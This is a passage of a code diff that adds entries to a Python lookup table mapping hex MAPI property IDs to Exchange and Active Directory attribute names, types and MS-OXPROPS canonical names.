+        0x8035: (0x001f, "extensionAttribute9", "ms-Exch-Extension-Attribute-9", 1, "PidTagAddressBookExtensionAttribute9", "PR_EMS_AB_EXTENSION_ATTRIBUTE_9", None),
+        0x8036: (0x001f, "extensionAttribute10", "ms-Exch-Extension-Attribute-10", 1, "PidTagAddressBookExtensionAttribute10", "PR_EMS_AB_EXTENSION_ATTRIBUTE_10", None),
+        0x8037: (0x1102, "securityProtocol", "ms-Exch-Security-Protocol", 1, None, None, None),
+        0x8038: (0x101f, "pFContacts", "ms-Exch-PF-Contacts", 1, None, None, "PfContacts"),
+        0x803a: (0x0102, "helpData16", "Help-Data16", 3, None, None, None),
+        0x803b: (0x001f, "helpFileName", "Help-File-Name", 3, None, None, "TemplateInfoHelpFileName"),
+        0x803c: (0x001f, "distinguishedName", "Obj-Dist-Name", 1, "PidTagAddressBookObjectDistinguishedName", "PR_EMS_AB_OBJ_DIST_NAME", "ObjectDistinguishedName"),
+        0x803d: (0x001f, "encryptAlgSelectedOther", "ms-Exch-Encrypt-Alg-Selected-Other", 2, None, None, None),
+        0x8040: (0x101f, "encryptAlgListNA", "ms-Exch-Encrypt-Alg-List-NA", 2, "PidLidBusinessCardDisplayDefinition", "dispidBCDisplayDefinition", None),
+        0x8041: (0x101f, "encryptAlgListOther", "ms-Exch-Encrypt-Alg-List-Other", 2, "PidLidBusinessCardCardPicture", "dispidBCCardPicture", None),
+        0x8042: (0x001f, "importedFrom", "ms-Exch-Imported-From", 1, None, None, None),
+        0x8043: (0x001f, "encryptAlgSelectedNA", "ms-Exch-Encrypt-Alg-Selected-NA", 2, None, None, None),
+        0x8045: (0x0102, "activationSchedule", "ms-Exch-Activation-Schedule", 2, "PidLidWorkAddressStreet", "dispidWorkAddressStreet", None),
+        0x8046: (0x0003, "activationStyle", "ms-Exch-Activation-Style", 2, "PidLidWorkAddressCity", "dispidWorkAddressCity", None),
+        0x8047: (0x0102, "addressEntryDisplayTableMSDOS", "Address-Entry-Display-Table-MSDOS", 3, "PidLidWorkAddressState", "dispidWorkAddressState", None),
+        0x8048: (0x001f, "addressType", "Address-Type", 3, "PidLidWorkAddressPostalCode", "dispidWorkAddressPostalCode", "TemplateInfoEmailType"),
+        0x8049: (0x001f, "aDMD", "ms-Exch-ADMD", 2, "PidLidWorkAddressCountry", "dispidWorkAddressCountry", None),
+        0x804a: (0x001f, "adminDescription", "Admin-Description", 3, "PidLidWorkAddressPostOfficeBox", "dispidWorkAddressPostOfficeBox", None),
+        0x804b: (0x001f, "adminDisplayName", "Admin-Display-Name", 1, None, None, None),
+        0x804c: (0x001f, "adminExtensionDLL", "ms-Exch-Admin-Extension-DLL", 2, "PidLidDistributionListChecksum", "dispidDLChecksum", None),
+        0x804e: (0x000d, "altRecipient", "ms-Exch-Alt-Recipient", 1, "PidLidAnniversaryEventEntryId", "dispidAnniversaryEventEID", None),
+        0x804f: (0x000d, "altRecipientBL", "ms-Exch-Alt-Recipient-BL", 2, "PidLidContactUserField1", "dispidContactUserField1", None),
+        0x8051: (0x000d, "assocRemoteDXA", "ms-Exch-Assoc-Remote-DXA", 2, "PidLidContactUserField3", "dispidContactUserField3", None),
+        0x8052: (0x0003, "associationLifetime", "ms-Exch-Association-Lifetime", 2, "PidLidContactUserField4", "dispidContactUserField4", None),
+        0x8053: (0x000d, "authOrigBL", "ms-Exch-Auth-Orig-BL", 1, "PidLidDistributionListName", "dispidDLName", None),
+        0x8054: (0x001f, "authorizedDomain", "ms-Exch-Authorized-Domain", 2, "PidLidDistributionListOneOffMembers", "dispidDLOneOffMembers", None),
+        0x8055: (0x0102, "authorizedPassword", "ms-Exch-Authorized-Password", 2, "PidLidDistributionListMembers", "dispidDLMembers", None),
+        0x8056: (0x001f, "authorizedUser", "ms-Exch-Authorized-User", 2, None, None, None),
+        0x8057: (0x101f, "businessCategory", "Business-Category", 3, None, None, None),
+        0x8060: (0x000b, "canPreserveDNs", "ms-Exch-Can-Preserve-DNs", 2, None, None, None),
+        0x8061: (0x0003, "clockAlertOffset", "ms-Exch-Clock-Alert-Offset", 2, None, None, None),
+        0x8062: (0x000b, "clockAlertRepair", "ms-Exch-Clock-Alert-Repair", 2, "PidLidInstantMessagingAddress", "dispidInstMsg", None),
+        0x8063: (0x0003, "clockWarningOffset", "ms-Exch-Clock-Warning-Offset", 2, None, None, None),
+        0x8064: (0x000b, "clockWarningRepair", "ms-Exch-Clock-Warning-Repair", 2, "PidLidDistributionListStream", "dispidDLStream", None),
+        0x8065: (0x001f, "computerName", "ms-Exch-Computer-Name", 2, None, None, None),
+        0x8066: (0x101f, "connectedDomains", "ms-Exch-Connected-Domains", 2, None, None, None),
+        0x8067: (0x0003, "containerInfo", "ms-Exch-Container-Info", 2, None, None, None),
+        0x8068: (0x0003, "cost", "Cost", 3, None, None, None),
+        0x8069: (0x001f, "c", "Country-Name", 1, None, None, None),
+        0x806a: (0x0003, "delivContLength", "ms-Exch-Deliv-Cont-Length", 1, "PidTagAddressBookDeliveryContentLength", "PR_EMS_AB_DELIV_CONT_LENGTH", None),
+        0x806b: (0x1102, "delivEITs", "ms-Exch-Deliv-EITs", 2, None, None, None),
+        0x806c: (0x1102, "delivExtContTypes", "ms-Exch-Deliv-Ext-Cont-Types", 1, None, None, None),
+        0x806d: (0x000b, "deliverAndRedirect", "ms-Exch-Deliver-And-Redirect", 1, None, None, None),
+        0x806e: (0x0003, "deliveryMechanism", "ms-Exch-Delivery-Mechanism", 1, None, None, None),
+        0x806f: (0x101f, "description", "Description", 1, None, None, None),
+        0x8070: (0x101f, "destinationIndicator", "Destination-Indicator", 3, None, None, None),
+        0x8071: (0x001f, "diagnosticRegKey", "ms-Exch-Diagnostic-Reg-Key", 2, None, None, None),
+        0x8072: (0x000d, "dLMemRejectPermsBL", "ms-Exch-DL-Mem-Reject-Perms-BL", 1, None, None, None),
+        0x8073: (0x000d, "dLMemSubmitPermsBL", "ms-Exch-DL-Mem-Submit-Perms-BL", 1, "PidTagAddressBookDistributionListMemberSubmitAccepted", "PR_EMS_AB_DL_MEM_SUBMIT_PERMS_BL_O", None),
+        0x8074: (0x1102, "dLMemberRule", "ms-Exch-DL-Member-Rule", 1, None, None, None),
+        0x8075: (0x001f, "domainDefAltRecip", "ms-Exch-Domain-Def-Alt-Recip", 2, None, None, None),
+        0x8076: (0x001f, "domainName", "ms-Exch-Domain-Name", 2, None, None, None),
+        0x8077: (0x0102, "dSASignature", "DSA-Signature", 3, None, None, None),
+        0x8078: (0x000b, "dXAAdminCopy", "ms-Exch-DXA-Admin-Copy", 2, None, None, None),
+        0x8079: (0x000b, "dXAAdminForward", "ms-Exch-DXA-Admin-Forward", 2, None, None, None),
+        0x807a: (0x0003, "dXAAdminUpdate", "ms-Exch-DXA-Admin-Update", 2, None, None, None),
+        0x807b: (0x000b, "dXAAppendReqCN", "ms-Exch-DXA-Append-ReqCN", 2, None, None, None),
+        0x807c: (0x101f, "dXAConfContainerList", "ms-Exch-DXA-Conf-Container-List", 2, None, None, None),
+        0x807d: (0x0040, "dXAConfReqTime", "ms-Exch-DXA-Conf-Req-Time", 2, None, None, None),
+        0x807e: (0x001f, "dXAConfSeq", "ms-Exch-DXA-Conf-Seq", 2, None, None, None),
+        0x807f: (0x0003, "dXAConfSeqUSN", "ms-Exch-DXA-Conf-Seq-USN", 2, None, None, None),
+        0x8080: (0x0003, "dXAExchangeOptions", "ms-Exch-DXA-Exchange-Options", 2, "PidLidEmail1DisplayName", "dispidEmail1DisplayName", None),
+        0x8081: (0x000b, "dXAExportNow", "ms-Exch-DXA-Export-Now", 2, None, None, None),
+        0x8082: (0x0003, "deletedItemFlags", "ms-Exch-Deleted-Item-Flags", 1, "PidLidEmail1AddressType", "dispidEmail1AddrType", None),
+        0x8083: (0x001f, "dXAImpSeq", "ms-Exch-DXA-Imp-Seq", 2, "PidLidEmail1EmailAddress", "dispidEmail1EmailAddress", None),
+        0x8084: (0x0040, "dXAImpSeqTime", "ms-Exch-DXA-Imp-Seq-Time", 2, "PidLidEmail1OriginalDisplayName", "dispidEmail1OriginalDisplayName", None),
+        0x8085: (0x0003, "dXAImpSeqUSN", "ms-Exch-DXA-Imp-Seq-USN", 2, "PidLidEmail1OriginalEntryId", "dispidEmail1OriginalEntryID", None),
+        0x8086: (0x000b, "dXAImportNow", "ms-Exch-DXA-Import-Now", 2, None, None, None),
+        0x8087: (0x101f, "dXAInTemplateMap", "ms-Exch-DXA-In-Template-Map", 2, None, None, None),
+        0x8088: (0x001f, "dXALocalAdmin", "ms-Exch-DXA-Local-Admin", 2, None, None, None),
+        0x808a: (0x001f, "dXANativeAddressType", "ms-Exch-DXA-Native-Address-Type", 2, None, None, None),
+        0x808b: (0x101f, "dXAOutTemplateMap", "ms-Exch-DXA-Out-Template-Map", 2, None, None, None),
+        0x808c: (0x001f, "dXAPassword", "ms-Exch-DXA-Password", 2, None, None, None),
+        0x808d: (0x0003, "dXAPrevExchangeOptions", "ms-Exch-DXA-Prev-Exchange-Options", 2, None, None, None),
+        0x808e: (0x000b, "dXAPrevExportNativeOnly", "ms-Exch-DXA-Prev-Export-Native-Only", 2, None, None, None),
+        0x808f: (0x0003, "dXAPrevInExchangeSensitivity", "ms-Exch-DXA-Prev-In-Exchange-Sensitivity", 2, None, None, None),
+        0x8090: (0x001f, "dXAPrevRemoteEntries", "ms-Exch-DXA-Prev-Remote-Entries", 2, "PidLidEmail2DisplayName", "dispidEmail2DisplayName", None),
+        0x8091: (0x0003, "dXAPrevReplicationSensitivity", "ms-Exch-DXA-Prev-Replication-Sensitivity", 2, None, None, None),
+        0x8092: (0x0003, "dXAPrevTemplateOptions", "ms-Exch-DXA-Prev-Template-Options", 2, "PidLidEmail2AddressType", "dispidEmail2AddrType", None),
+        0x8093: (0x0003, "dXAPrevTypes", "ms-Exch-DXA-Prev-Types", 2, "PidLidEmail2EmailAddress", "dispidEmail2EmailAddress", None),
+        0x8094: (0x001f, "dXARecipientCP", "ms-Exch-DXA-Recipient-CP", 2, "PidLidEmail2OriginalDisplayName", "dispidEmail2OriginalDisplayName", None),
+        0x8095: (0x001f, "dXARemoteClient", "ms-Exch-DXA-Remote-Client", 2, "PidLidEmail2OriginalEntryId", "dispidEmail2OriginalEntryID", None),
+        0x8096: (0x001f, "dXAReqSeq", "ms-Exch-DXA-Req-Seq", 2, None, None, None),
+        0x8097: (0x0040, "dXAReqSeqTime", "ms-Exch-DXA-Req-Seq-Time", 2, None, None, None),
+        0x8098: (0x0003, "dXAReqSeqUSN", "ms-Exch-DXA-Req-Seq-USN", 2, None, None, None),
+        0x8099: (0x001f, "dXAReqName", "ms-Exch-DXA-ReqName", 2, None, None, None),
+        0x809a: (0x001f, "dXASvrSeq", "ms-Exch-DXA-Svr-Seq", 2, None, None, None),
+        0x809b: (0x0040, "dXASvrSeqTime", "ms-Exch-DXA-Svr-Seq-Time", 2, None, None, None),
+        0x809c: (0x0003, "dXASvrSeqUSN", "ms-Exch-DXA-Svr-Seq-USN", 2, None, None, None),
+        0x809d: (0x0003, "messageSizeLimit", "ms-Exch-Message-Size-Limit", 2, None, None, None),
+        0x809e: (0x0003, "dXATemplateOptions", "ms-Exch-DXA-Template-Options", 2, None, None, None),
+        0x809f: (0x0040, "dXATemplateTimeStamp", "ms-Exch-DXA-Template-TimeStamp", 2, None, None, None),
+        0x80a0: (0x0003, "dXATypes", "ms-Exch-DXA-Types", 2, "PidLidEmail3DisplayName", "dispidEmail3DisplayName", None),
+        0x80a1: (0x101f, "dXAUnConfContainerList", "ms-Exch-DXA-UnConf-Container-List", 2, None, None, None),
+        0x80a2: (0x0003, "encapsulationMethod", "ms-Exch-Encapsulation-Method", 2, "PidLidEmail3AddressType", "dispidEmail3AddrType", None),
+        0x80a3: (0x000b, "encrypt", "ms-Exch-Encrypt", 2, "PidLidEmail3EmailAddress", "dispidEmail3EmailAddress", None),
+        0x80a4: (0x000b, "expandDLsLocally", "ms-Exch-Expand-DLs-Locally", 2, "PidLidEmail3OriginalDisplayName", "dispidEmail3OriginalDisplayName", None),
+        0x80a5: (0x101f, "exportContainers", "ms-Exch-Export-Containers", 2, "PidLidEmail3OriginalEntryId", "dispidEmail3OriginalEntryID", None),
+        0x80a6: (0x000b, "exportCustomRecipients", "ms-Exch-Export-Custom-Recipients", 2, None, None, None),
+        0x80a7: (0x000b, "extendedCharsAllowed", "Extended-Chars-Allowed", 3, None, None, None),
+        0x80a8: (0x1102, "extensionData", "ms-Exch-Extension-Data", 2, None, None, None),
+        0x80a9: (0x101f, "extensionName", "Extension-Name", 3, None, None, None),
+        0x80ac: (0x0102, "fileVersion", "ms-Exch-File-Version", 2, None, None, None),
+        0x80ad: (0x000b, "filterLocalAddresses", "ms-Exch-Filter-Local-Addresses", 2, None, None, None),
+        0x80af: (0x0003, "garbageCollPeriod", "Garbage-Coll-Period", 1, None, None, None),
+        0x80b0: (0x001f, "gatewayLocalCred", "ms-Exch-Gateway-Local-Cred", 2, None, None, None),
+        0x80b1: (0x001f, "gatewayLocalDesig", "ms-Exch-Gateway-Local-Desig", 2, None, None, None),
+        0x80b2: (0x101f, "gatewayProxy", "ms-Exch-Gateway-Proxy", 2, "PidLidFax1AddressType", "dispidFax1AddrType", None),
+        0x80b3: (0x0102, "gatewayRoutingTree", "ms-Exch-Gateway-Routing-Tree", 2, "PidLidFax1EmailAddress", "dispidFax1EmailAddress", None),
+        0x80b4: (0x0040, "gWARTLastModified", "ms-Exch-GWART-Last-Modified", 2, "PidLidFax1OriginalDisplayName", "dispidFax1OriginalDisplayName", None),
+        0x80b5: (0x000d, "hasPartialReplicaNCs", "Has-Partial-Replica-NCs", 3, "PidLidFax1OriginalEntryId", "dispidFax1OriginalEntryID", None),
+        0x80b6: (0x000d, "hasMasterNCs", "Has-Master-NCs", 3, None, None, None),
+        0x80b7: (0x0003, "heuristics", "ms-Exch-Heuristics", 1, None, None, None),
+        0x80b8: (0x000b, "hideDLMembership", "ms-Exch-Hide-DL-Membership", 1, None, None, "HideDLMembership"),
+        0x80ba: (0x001f, "importContainer", "ms-Exch-Import-Container", 2, None, None, None),
+        0x80bc: (0x101f, "inboundSites", "ms-Exch-Inbound-Sites", 2, None, None, None),
+        0x80bd: (0x0003, "instanceType", "Instance-Type", 1, None, None, None),
+        0x80be: (0x101f, "internationalISDNNumber", "International-ISDN-Number", 3, None, None, None),
+        0x80bf: (0x0102, "invocationId", "Invocation-Id", 3, None, None, None),
+        0x80c0: (0x000b, "isDeleted", "Is-Deleted", 1, None, None, None),
+        0x80c1: (0x000b, "isSingleValued", "Is-Single-Valued", 3, None, None, None),
+        0x80c2: (0x1102, "kCCStatus", "ms-Exch-KCC-Status", 2, "PidLidFax2AddressType", "dispidFax2AddrType", None),
+        0x80c3: (0x101f, "knowledgeInformation", "Knowledge-Information", 3, "PidLidFax2EmailAddress", "dispidFax2EmailAddress", None),
+        0x80c4: (0x0003, "lineWrap", "ms-Exch-Line-Wrap", 2, "PidLidFax2OriginalDisplayName", "dispidFax2OriginalDisplayName", None),
+        0x80c5: (0x0003, "linkID", "Link-ID", 3, "PidLidFax2OriginalEntryId", "dispidFax2OriginalEntryID", None),
+        0x80c6: (0x001f, "localBridgeHead", "ms-Exch-Local-Bridge-Head", 2, None, None, None),
+        0x80c7: (0x001f, "localBridgeHeadAddress", "ms-Exch-Local-Bridge-Head-Address", 2, None, None, None),
+        0x80c8: (0x000b, "localInitialTurn", "ms-Exch-Local-Initial-Turn", 2, None, None, None),
+        0x80ca: (0x001f, "logFilename", "ms-Exch-Log-Filename", 2, None, None, None),
+        0x80cb: (0x0003, "logRolloverInterval", "ms-Exch-Log-Rollover-Interval", 2, None, None, None),
+        0x80ce: (0x0003, "mAPIID", "MAPI-ID", 3, None, None, None),
+        0x80cf: (0x0003, "mDBBackoffInterval", "ms-Exch-MDB-Backoff-Interval", 2, None, None, None),
+        0x80d0: (0x0003, "mDBMsgTimeOutPeriod", "ms-Exch-MDB-Msg-Time-Out-Period", 2, None, None, None),
+        0x80d1: (0x0003, "mDBOverQuotaLimit", "ms-Exch-MDB-Over-Quota-Limit", 1, None, None, None),
+        0x80d2: (0x0003, "mDBStorageQuota", "ms-Exch-MDB-Storage-Quota", 1, "PidLidFax3AddressType", "dispidFax3AddrType", None),
+        0x80d3: (0x0003, "mDBUnreadLimit", "ms-Exch-MDB-Unread-Limit", 2, "PidLidFax3EmailAddress", "dispidFax3EmailAddress", None),
+        0x80d4: (0x000b, "mDBUseDefaults", "ms-Exch-MDB-Use-Defaults", 1, "PidLidFax3OriginalDisplayName", "dispidFax3OriginalDisplayName", None),
+        0x80d5: (0x000b, "messageTrackingEnabled", "ms-Exch-Message-Tracking-Enabled", 2, "PidLidFax3OriginalEntryId", "dispidFax3OriginalEntryID", None),
+        0x80d6: (0x000b, "monitorClock", "ms-Exch-Monitor-Clock", 2, None, None, None),
+        0x80d7: (0x000b, "monitorServers", "ms-Exch-Monitor-Servers", 2, None, None, None),
+        0x80d8: (0x000b, "monitorServices", "ms-Exch-Monitor-Services", 2, "PidLidFreeBusyLocation", "dispidFreeBusyLocation", None),
+        0x80d9: (0x101f, "monitoredConfigurations", "ms-Exch-Monitored-Configurations", 2, None, None, None),
+        0x80da: (0x101f, "monitoredServers", "ms-Exch-Monitored-Servers", 2, "PidLidHomeAddressCountryCode", "dispidHomeAddressCountryCode", None),
+        0x80db: (0x101f, "monitoredServices", "ms-Exch-Monitored-Services", 2, "PidLidWorkAddressCountryCode", "dispidWorkAddressCountryCode", None),
+        0x80dc: (0x0003, "monitoringAlertDelay", "ms-Exch-Monitoring-Alert-Delay", 2, "PidLidOtherAddressCountryCode", "dispidOtherAddressCountryCode", None),
+        0x80dd: (0x0003, "monitoringAlertUnits", "ms-Exch-Monitoring-Alert-Units", 2, "PidLidAddressCountryCode", "dispidAddressCountryCode", None),
+        0x80de: (0x0003, "monitoringAvailabilityStyle", "ms-Exch-Monitoring-Availability-Style", 2, "PidLidBirthdayLocal", "dispidApptBirthdayLocal", None),
+        0x80df: (0x0102, "monitoringAvailabilityWindow", "ms-Exch-Monitoring-Availability-Window", 2, "PidLidWeddingAnniversaryLocal", "dispidApptAnniversaryLocal", None),
+        0x80e0: (0x101f, "monitoringCachedViaMail", "ms-Exch-Monitoring-Cached-Via-Mail", 2, "PidLidIsContactLinked", "dispidIsContactLinked", None),
+        0x80e1: (0x101f, "monitoringCachedViaRPC", "ms-Exch-Monitoring-Cached-Via-RPC", 2, None, None, None),
+        0x80e2: (0x1102, "monitoringEscalationProcedure", "ms-Exch-Monitoring-Escalation-Procedure", 2, "PidLidContactLinkedGlobalAddressListEntryId", "dispidContactLinkedGALEntryID", None),
+        0x80e3: (0x0003, "monitoringHotsitePollInterval", "ms-Exch-Monitoring-Hotsite-Poll-Interval", 2, "PidLidContactLinkSMTPAddressCache", "dispidContactLinkSMTPAddressCache", None),
+        0x80e4: (0x0003, "monitoringHotsitePollUnits", "ms-Exch-Monitoring-Hotsite-Poll-Units", 2, None, None, None),
+        0x80e5: (0x0003, "monitoringMailUpdateInterval", "ms-Exch-Monitoring-Mail-Update-Interval", 2, "PidLidContactLinkLinkRejectHistory", "dispidContactLinkLinkRejectHistory", None),
+        0x80e6: (0x0003, "monitoringMailUpdateUnits", "ms-Exch-Monitoring-Mail-Update-Units", 2, "PidLidContactLinkGlobalAddressListLinkState", "dispidContactLinkGALLinkState", None),
+        0x80e7: (0x0003, "monitoringNormalPollInterval", "ms-Exch-Monitoring-Normal-Poll-Interval", 2, None, None, None),
+        0x80e8: (0x0003, "monitoringNormalPollUnits", "ms-Exch-Monitoring-Normal-Poll-Units", 2, "PidLidContactLinkGlobalAddressListLinkId", "dispidContactLinkGALLinkID", None),
+        0x80e9: (0x101f, "monitoringRecipients", "ms-Exch-Monitoring-Recipients", 2, None, None, None),
+        0x80ea: (0x101f, "monitoringRecipientsNDR", "ms-Exch-Monitoring-Recipients-NDR", 2, None, None, None),
+        0x80eb: (0x0003, "monitoringRPCUpdateInterval", "ms-Exch-Monitoring-RPC-Update-Interval", 2, None, None, None),
+        0x80ec: (0x0003, "monitoringRPCUpdateUnits", "ms-Exch-Monitoring-RPC-Update-Units", 2, None, None, None),
+        0x80ed: (0x0003, "monitoringWarningDelay", "ms-Exch-Monitoring-Warning-Delay", 2, None, None, None),
+        0x80ee: (0x0003, "monitoringWarningUnits", "ms-Exch-Monitoring-Warning-Units", 2, None, None, None),
+        0x80ef: (0x001f, "mTALocalCred", "ms-Exch-MTA-Local-Cred", 2, None, None, None),
+        0x80f0: (0x001f, "mTALocalDesig", "ms-Exch-MTA-Local-Desig", 2, None, None, None),
+        0x80f1: (0x0102, "nAddress", "ms-Exch-N-Address", 2, None, None, None),
+        0x80f2: (0x0003, "nAddressType", "ms-Exch-N-Address-Type", 2, None, None, None),
+        0x80f4: (0x0003, "numOfOpenRetries", "ms-Exch-Num-Of-Open-Retries", 2, None, None, None),
+        0x80f5: (0x0003, "numOfTransferRetries", "ms-Exch-Num-Of-Transfer-Retries", 2, None, None, None),
+        0x80f6: (0x0003, "objectClassCategory", "Object-Class-Category", 3, None, None, None),
+        0x80f7: (0x0003, "objectVersion", "Object-Version", 3, None, None, None),
+        0x80f8: (0x101f, "offLineABContainers", "ms-Exch-Off-Line-AB-Containers", 2, None, None, None),
+        0x80f9: (0x0102, "offLineABSchedule", "ms-Exch-Off-Line-AB-Schedule", 2, None, None, None),
+        0x80fa: (0x001f, "offLineABServer", "ms-Exch-Off-Line-AB-Server", 2, None, None, None),
+        0x80fb: (0x0003, "offLineABStyle", "ms-Exch-Off-Line-AB-Style", 2, None, None, None),
+        0x80fd: (0x0102, "oMObjectClass", "OM-Object-Class", 3, None, None, None),
+        0x80fe: (0x0003, "oMSyntax", "OM-Syntax", 1, None, None, None),
+        0x80ff: (0x000b, "oOFReplyToOriginator", "ms-Exch-OOF-Reply-To-Originator", 1, None, None, None),
+        0x8100: (0x0003, "openRetryInterval", "ms-Exch-Open-Retry-Interval", 2, None, None, None),
+        0x8101: (0x101f, "o", "Organization-Name", 1, "PidLidTaskStatus", "dispidTaskStatus", None),
+        0x8102: (0x101f, "ou", "Organizational-Unit-Name", 1, "PidLidPercentComplete", "dispidPercentComplete", None),
+        0x8103: (0x0102, "originalDisplayTable", "Original-Display-Table", 3, "PidLidTeamTask", "dispidTeamTask", None),
+        0x8104: (0x0102, "originalDisplayTableMSDOS", "Original-Display-Table-MSDOS", 3, "PidLidTaskStartDate", "dispidTaskStartDate", None),
+        0x8105: (0x101f, "outboundSites", "ms-Exch-Outbound-Sites", 2, "PidLidTaskDueDate", "dispidTaskDueDate", None),
+        0x8106: (0x0102, "pSelector", "ms-Exch-P-Selector", 2, None, None, None),
+        0x8107: (0x0102, "pSelectorInbound", "ms-Exch-P-Selector-Inbound", 2, "PidLidTaskResetReminder", "dispidTaskResetReminder", None),
+        0x8108: (0x0102, "perMsgDialogDisplayTable", "Per-Msg-Dialog-Display-Table", 3, "PidLidTaskAccepted", "dispidTaskAccepted", None),
+        0x8109: (0x0102, "perRecipDialogDisplayTable", "Per-Recip-Dialog-Display-Table", 3, "PidLidTaskDeadOccurrence", "dispidTaskDeadOccur", None),
+        0x810c: (0x101f, "postalAddress", "Postal-Address", 3, None, None, None),
+        0x810e: (0x001f, "pRMD", "ms-Exch-PRMD", 2, None, None, None),
+        0x810f: (0x001f, "proxyGeneratorDLL", "ms-Exch-Proxy-Generator-DLL", 2, "PidLidTaskDateCompleted", "dispidTaskDateCompleted", None),
+        0x8110: (0x000d, "publicDelegatesBL", "ms-Exch-Public-Delegates-BL", 2, "PidLidTaskActualEffort", "dispidTaskActualEffort", None),
+        0x8111: (0x0102, "quotaNotificationSchedule", "ms-Exch-Quota-Notification-Schedule", 2, "PidLidTaskEstimatedEffort", "dispidTaskEstimatedEffort", None),
+        0x8112: (0x0003, "quotaNotificationStyle", "ms-Exch-Quota-Notification-Style", 2, "PidLidTaskVersion", "dispidTaskVersion", None),
+        0x8113: (0x0003, "rangeLower", "Range-Lower", 1, "PidLidTaskState", "dispidTaskState", None),
+        0x8114: (0x0003, "rangeUpper", "Range-Upper", 1, None, None, None),
+        0x8115: (0x001f, "rASCallbackNumber", "ms-Exch-RAS-Callback-Number", 2, "PidLidTaskLastUpdate", "dispidTaskLastUpdate", None),
+        0x8116: (0x001f, "rASPhoneNumber", "ms-Exch-RAS-Phone-Number", 2, "PidLidTaskRecurrence", "dispidTaskRecur", None),
+        0x8117: (0x001f, "rASPhonebookEntryName", "ms-Exch-RAS-Phonebook-Entry-Name", 2, "PidLidTaskAssigners", "dispidTaskMyDelegators", None),
+        0x8118: (0x001f, "rASRemoteSRVRName", "ms-Exch-RAS-Remote-SRVR-Name", 2, None, None, None),
+        0x8119: (0x1102, "registeredAddress", "Registered-Address", 3, "PidLidTaskStatusOnComplete", "dispidTaskSOC", None),
+        0x811a: (0x001f, "remoteBridgeHead", "ms-Exch-Remote-Bridge-Head", 2, "PidLidTaskHistory", "dispidTaskHistory", None),
+        0x811b: (0x001f, "remoteBridgeHeadAddress", "ms-Exch-Remote-Bridge-Head-Address", 2, "PidLidTaskUpdates", "dispidTaskUpdates", None),
+        0x811d: (0x001f, "remoteSite", "ms-Exch-Remote-Site", 2, None, None, None),
+        0x811e: (0x0003, "replicationSensitivity", "ms-Exch-Replication-Sensitivity", 2, "PidLidTaskFCreator", "dispidTaskFCreator", None),
+        0x811f: (0x0003, "replicationStagger", "ms-Exch-Replication-Stagger", 2, "PidLidTaskOwner", "dispidTaskOwner", None),
+        0x8120: (0x000b, "reportToOriginator", "ms-Exch-Report-To-Originator", 1, "PidLidTaskMultipleRecipients", "dispidTaskMultRecips", None),
+        0x8121: (0x000b, "reportToOwner", "ms-Exch-Report-To-Owner", 1, "PidLidTaskAssigner", "dispidTaskDelegator", None),
+        0x8122: (0x0003, "reqSeq", "ms-Exch-Req-Seq", 2, "PidLidTaskLastUser", "dispidTaskLastUser", None),
+        0x8123: (0x000d, "responsibleLocalDXA", "ms-Exch-Responsible-Local-DXA", 2, "PidLidTaskOrdinal", "dispidTaskOrdinal", None),
+        0x8124: (0x001f, "ridServer", "ms-Exch-Rid-Server", 2, "PidLidTaskNoCompute", "dispidTaskNoCompute", None),
+        0x8125: (0x101f, "roleOccupant", "Role-Occupant", 3, "PidLidTaskLastDelegate", "dispidTaskLastDelegate", None),
+        0x8126: (0x101f, "routingList", "ms-Exch-Routing-List", 2, "PidLidTaskFRecurring", "dispidTaskFRecur", None),
+        0x8127: (0x0003, "rTSCheckpointSize", "ms-Exch-RTS-Checkpoint-Size", 2, "PidLidTaskRole", "dispidTaskRole", None),
+        0x8128: (0x0003, "rTSRecoveryTimeout", "ms-Exch-RTS-Recovery-Timeout", 2, None, None, None),
+        0x8129: (0x0003, "rTSWindowSize", "ms-Exch-RTS-Window-Size", 2, "PidLidTaskOwnership", "dispidTaskOwnership", None),
+        0x812a: (0x101f, "runsOn", "ms-Exch-Runs-On", 2, "PidLidTaskAcceptanceState", "dispidTaskDelegValue", None),
+        0x812b: (0x0102, "sSelector", "ms-Exch-S-Selector", 1, None, None, None),
+        0x812c: (0x0102, "sSelectorInbound", "ms-Exch-S-Selector-Inbound", 1, "PidLidTaskFFixOffline", "dispidTaskFFixOffline", None),
+        0x812d: (0x0003, "searchFlags", "Search-Flags", 3, None, None, None),
+        0x812e: (0x1102, "searchGuide", "Search-Guide", 3, None, None, None),
+        0x812f: (0x101f, "seeAlso", "See-Also", 3, None, None, None),
+        0x8130: (0x101f, "serialNumber", "Serial-Number", 3, None, None, None),
+        0x8131: (0x0003, "serviceActionFirst", "ms-Exch-Service-Action-First", 2, None, None, None),
+        0x8132: (0x0003, "serviceActionOther", "ms-Exch-Service-Action-Other", 2, None, None, None),
+        0x8133: (0x0003, "serviceActionSecond", "ms-Exch-Service-Action-Second", 2, None, None, None),
+        0x8134: (0x0003, "serviceRestartDelay", "ms-Exch-Service-Restart-Delay", 2, None, None, None),
+        0x8135: (0x001f, "serviceRestartMessage", "ms-Exch-Service-Restart-Message", 2, None, None, None),
+        0x8136: (0x0003, "sessionDisconnectTimer", "ms-Exch-Session-Disconnect-Timer", 2, None, None, None),
+        0x8138: (0x101f, "siteProxySpace", "ms-Exch-Site-Proxy-Space", 2, None, None, None),
+        0x8139: (0x0040, "spaceLastComputed", "ms-Exch-Space-Last-Computed", 2, "PidLidTaskCustomFlags", "dispidTaskCustomFlags", None),
+        0x813a: (0x001f, "street", "Street-Address", 1, None, None, None),
+        0x813b: (0x101f, "subRefs", "Sub-Refs", 1, None, None, None),
+        0x813c: (0x0003, "submissionContLength", "ms-Exch-Submission-Cont-Length", 1, None, None, None),
+        0x813d: (0x1102, "supportedApplicationContext", "Supported-Application-Context", 3, None, None, None),
+        0x813e: (0x000d, "supportingStack", "ms-Exch-Supporting-Stack", 2, None, None, None),
+        0x813f: (0x000d, "supportingStackBL", "ms-Exch-Supporting-Stack-BL", 2, None, None, None),
+        0x8140: (0x0102, "tSelector", "ms-Exch-T-Selector", 2, None, None, None),
+        0x8142: (0x101f, "targetMTAs", "ms-Exch-Target-MTAs", 2, None, None, None),
+        0x8143: (0x1102, "teletexTerminalIdentifier", "Teletex-Terminal-Identifier", 3, None, None, None),
+        0x8144: (0x0003, "tempAssocThreshold", "ms-Exch-Temp-Assoc-Threshold", 2, None, None, None),
+        0x8145: (0x0003, "tombstoneLifetime", "Tombstone-Lifetime", 3, None, None, None),
+        0x8146: (0x001f, "trackingLogPathName", "ms-Exch-Tracking-Log-Path-Name", 2, None, None, None),
+        0x8147: (0x0003, "transRetryMins", "ms-Exch-Trans-Retry-Mins", 2, None, None, None),
